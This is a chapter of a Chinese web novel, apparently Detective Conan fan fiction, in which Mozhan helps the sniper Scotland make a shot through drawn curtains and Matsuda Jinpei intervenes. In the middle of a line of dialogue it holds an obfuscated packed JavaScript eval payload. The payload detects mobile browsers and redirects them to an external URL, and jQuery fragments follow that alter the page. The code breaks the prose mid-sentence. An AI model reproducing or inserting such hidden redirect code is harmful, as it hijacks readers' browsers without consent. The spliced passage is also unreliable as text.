30.all or out?

作品:《再造卧底

    车如预料般开上大桥,苏格兰伏在楼顶,边架设狙击枪边听他报幕的理直气壮,问:“神野希瓦会真的落到海里去吗?”摩闪在他胸口的手机里说:“反正她死不了。”闷闷地震动。


    马路上的监控摄像头忠实地记录着那辆属于百利甜的车背后的追兵,大多都是斯沃琪请的人,咬的死紧,绵延很长,像一条蛇。眼见逼迫之下,那辆车一副要翻的架势,仿佛马上要掉进海里——


    就在此时,从它的侧后方猛地冲出一辆车,一侧姑且还开在路上,另一侧却结结实实抵在护栏上,侧滑着向前冲过来,生生扼止住即将翻倒下桥的车辆,简直是在驮着它继续向前冲出去,一路火花四溅,相当丝滑,最后双双撞在护栏上才堪堪停止——至少比掉进水里去好。


    追击车辆似乎被这种场面吓了一跳,急刹车大概还有误伤,像一群野狗包围一头大只的受伤的雄鹿,担忧它用它的角拼死一搏;斯沃琪家的打手害怕的则是这两辆车炸在面前,于是自发形成一个弧线,放慢速度逼近……


    从负重的那辆车受挤压而变形的车里,一个人费力地打开门——这个打不该用“open”,该用“hit”。根据现场的声音判断,这位行车风格彪悍的司机肘开车门后,撑在门框上轻巧地起跳,就像大型猫科动物一般落地了。然后他绕到另一辆车旁边,接着肘,拖出司机和一名女乘客——她正是神野希瓦。但司机不过是个面目平凡的中年男人。


    “百利甜不在那辆车上。”摩闪在车里,盯着监控说。


    “……是的。”苏格兰说,同时,透过狙击镜锁定视野中心的那个人,“因为他被带到斯沃琪家了。”


    【不敢看了啊啊啊啊啊】


    【我的猫啊怎么一天到晚都这么多灾多难的……】


    【……】


    【???】


    【我测,马自达!】


    【我测,马自达!】


    【我测,真的是马自达!】


    【……真的是马自达呢】


    【松田救场!!!!】


    【!!暮暮没白救你啊松甜甜!!!(尖叫)(尖叫)】


    【松甜甜啊!!不愧是顶级白月光,比你那几个一天天疑神疑鬼的同期好太多了啊呜呜呜呜】


    【什么降谷零啊诸伏景光啊先边儿去吧,看看松田表现!档案审查刚结束,出门就救场,力挽狂澜,好好看好好学】


    【要是让松田知道暮暮刚被他同期坑的被恶魔猎人逮走,还不知道得闹成什么样子(拱火的语气)】


    【暮暮!快说啊!受那么多委屈别再自己一个人憋着……咦?】


    【这个司机是谁啊?……暮哥又搁哪呢?】


    搁你们苏哥瞄准镜里呢。摩闪无耻一笑,小人得志的嘴脸尽数体现。方才在论坛看了松田阵平出场,该说不说,凭什么他当白月光,人家手上不留情连拆两扇门,脸还好看着,头发也不乱。神态恣意,身姿挺拔,一边护着神野希瓦,一边丢给斯沃琪家打手的那一眼,与其说是警告,更像是挑衅。真上吗,真上也打不过我的。那双眼睛像原野之夜暴风雨里浇不灭的火。什么道理。


    另一边,百利甜依照自己的计划,从工藤新一身后截下神野希瓦送上车后,在附近繁复的建筑中穿行,直至跑到小巷尽头,人影攒动着自他背后涨潮,像夜晚来临时升起的月亮。他斜一眼,半空漂浮着的论坛里的文字像瀑布一般奔流,无非是些心疼他怎么总是走投无路逼在死角的话。他要的不是这个。


    打手里领头的那个走出来两步:“还请您老实点,反抗是没有用的。戴上眼罩,跟我们走吧。说清楚也就没事了,局长大人。”


    “大人”这两个字,咬的非常重。


    摩闪坐车里恶补百利甜视角的事件发生经过,忽然听见监控系统里发出能量转移量超出合理值的警告,吓了一跳,心想一直没看见观众刷出来什么特殊愿望,难道是刚才才刷的?一刷出来就被百利甜眼疾手快地接了还马上完成?


    特殊愿望一般都和剧情有关,要是真叫对方改变了什么重要节点,接下来的工作可麻烦了。他马上抓包能量峰值出现时间点的论坛切片样本,扫了几眼,然后无语地关了论坛。


    怎么说呢。他沉静地回忆了一下自己刚才看了满眼的“啊啊啊啊啊蒙眼好涩”“被人带着走好那个”“手被绑在身后好无助斯哈斯哈”之类的话,确认没别的反馈后,叹了口气。


    自己居然忘了这茬。


    当柯同主角,虐身虐心走得稳不快,擦边走得快不稳。但是一边虐身虐心(尽量还是虐自己的),一边擦边,走的又快又稳!


    松田警官非常可靠,或者说气势太盛,比打手头子还像打手头子,因此没再爆发剧烈冲突,带上神野希瓦和那个中年男人顺利突围,摩闪心道这边的事算了了。扭头听见苏格兰在手机里报点,说看见百利甜被带进别墅书房,预计接下来要交涉一番。


    他准备通过肢体语言判断情况,适时地开一枪——谁也不会受伤,只会创造一个让百利甜能趁乱逃跑的条件就是了。苏格兰把自己的计划坦诚相告,摩闪是不是嗯一声,说你有打算就成。


    “事情怎么搞成了这个样子。”苏格兰苦笑着说(他是在苦笑吗?摩闪犹且疑惑),“我所做的一切,最后都变成了对他的助纣为虐。真奇怪。”


    “你犹豫了?”


    “不算。”


    “……那你怎么突然这么问。”


    电话那边沉默了一秒,两秒,声音重新变得轻松:“没什么。只是他们把窗帘拉上了。贸然开枪,也许会无事发生,也许会误伤。我在想百利甜应该有办法从这种情况下脱身,我也不是非——”


    “——你要走?先别。”电话那边传来车门打开关闭的声音,“我上楼来找你。”


    “救他,你很积极?”


    “废话。”摩闪肩膀夹着手机,手上恨不得一根手指抓一个设备,“你走了,不帮百利甜解围,观众不爽,缺的这块能量入账谁帮我补啊?——进电梯了先挂了。”


    风从天台的铁丝网穿透进来,带着一点点铁锈味。摩闪一上来,蹲到苏格兰边上:“边儿去,我看看。”说完毫不客气地透过别人的狙击镜去看,窗帘依旧拉得死死的。绿色的,天鹅绒的。


    “你们平时碰到这种情况怎么办?你碰见过吗?要打电话问莱伊吗?”摩闪回头。


    “我平时巴不得。”苏格兰眨了眨眼睛,“正愁找不着撤退还好糊弄琴酒的理由,对方还拉窗帘,简直是送上门来。”


    他的声音里的轻佻有一点异常,摩闪愣了一下,敏锐地察觉到——苏格兰还真不想救这一手。无论是被百利甜和他背后的观众所期望而开枪,又或者是被自己要求而开枪,他都不想。苏格兰此人表面看着好说话,实际上太有自己想法和主意,别人很难撼动。不是哥们,你是爽了,不陪老佛爷玩家家酒了那我咋办啊?账本对不上我让琴酒吊起来抽你也不救呗?


    你这枪非开不可了,我告诉你。


    摩闪费力扒开苏格兰的手,手心向上,划了一下——咦?他在对方疑惑的眼神里转过去,直视那双蓝色的眼睛:“看着我。你告诉我,窗帘真的拉上了吗?”


    “……难道没有吗?”


    “你再好好想想,苏格兰。”他放轻声音,“回忆一下。那个书房有什么?你明明看得见,沙发,钢琴,塞在角落的书柜,枝繁叶茂的绿色植物。人在哪里?吊灯又在哪儿?唔,吊灯的伤害性果然太大了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404160|167043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那就不要吊灯。花瓶,足够了。就在书桌上,右侧,靠近你。上面插着一束百合,你看。你分明看得见。”


    在他诱导似的声音中苏格兰真的鬼使神差般又看向瞄准镜。


    视野中的一切如摩闪所说,分毫不差。他感到一阵难以抑制的——战栗?他居然感到脊背发凉,“这是你的催眠吗?”他问,与此同时想到自己为什么会被划一下手心。摩闪是为了解除了之前的心理暗示。自己心理有一点不明不白的期待被摁灭了。


    “不是。”摩闪说,“如果真的是催眠,你就不会问我这个问题,而是觉得一切都理所应当,只不过是布朗把窗帘拉开了——首先,我会狙击!苏格兰,你那是什么眼神?头一次听说这世界上除了你还有莱伊,天底下还有第三个人会狙?”


    “——第三个也许是琴酒。”


    “你闭嘴,我坚持不了太久。——我会狙击。但我也承认我没你会,你要说这是样样通样样松,我没意见。你现在看到的,是我在脑内复原的斯沃琪家书房的布局,靠论坛截图,精度能划到毫米。我自己不开枪,也不催眠你开枪,是因为一个有误差的脑子配上一双也有误差的手会差的很多,能消减一点儿误差是一点。”


    “就像AR眼镜?”


    “差不多。”摩闪深呼吸一口,捂住脸,“但更接近于我包裹了你的意识,你现在在我的脑子里开枪。这很特么的累。抓紧吧。眼镜要没电了。”


    说到最后,他也很难听见自己的声音。自己的声音也变远了,就好像变成了天生的听障人士,发声时只觉胸腔震动,压根听不清说话内容,发声,每个字眼,全靠肌肉记忆。


    寂静中时间尺度被拉得很长——他不好说自己过去了多久,感觉一阵风从下巴和喉咙中间掠过去——“什么东西!”摩闪浑身一震,本能地收回意识,低头一看,一张卡牌一样的东西恰恰好插在领口;而后听见苏格兰意义不明地发出一个气声。


    “——怎么了?看不见了吗?”


    “没关系。”苏格兰说,“我扣动扳机的时候还看得到桌子上的花瓶。只是子弹出膛的一瞬间窗玻璃只剩一片绿,就算有准备还是很惊讶。”


    “……成功了就好。”


    摩闪松了口气,后知后觉,感受到浑身冰冷,捏起那张卡牌,一个人已经走到他背后了。阴影落在他身上,他抬头:刚夸过帅的条子上了天台,此时手揣兜,好整以暇地低头看着他。


    松田阵平点点头,先笑了:


    “抓到你了。偷偷往别人家里塞小卡片是吧?我知道你家在哪了。”


    摩闪说:“我早知道我家在哪了。”


    苏格兰起身,谨慎起见,暂时还是先不和同期寒暄:“什么小卡片?听着好像捉小偷,我需要先回避吗?”


    “我疯了偷到条子家里?天地良心,我只是塞小卡片而已,没有带走个把宝石。”摩闪抗议,“我那不叫小偷,叫小放。”


    松田阵平气笑了,转过头,也揶揄:“这小放是走不掉了,这位天台弹琴的文艺男子,就这么走了,也不合适吧?”


    苏格兰看看两边的脸色,最后长长出了一口气,脸上挂上真心实意的笑容:“……好吧,好吧。配合执法。”


    同期相认分外亲热哈。摩闪撑着地站起来,等眼前不发黑了,把设备胡乱往兜里一塞,跟在二人身后走。忽然感到脖子上迟来的一点儿痛,想来是刚才被飞牌挂的破了点皮,只是刚才身上凉透了没觉得。


    他忽然提高音量问松田阵平:“神野女士呢?她现在在哪?”


    对方没回头:“刚才有个十来岁的小孩报警的及时,我的同事们应该已经来了吧。”


    那就行。摩闪不说话了,仍旧慢吞吞地走。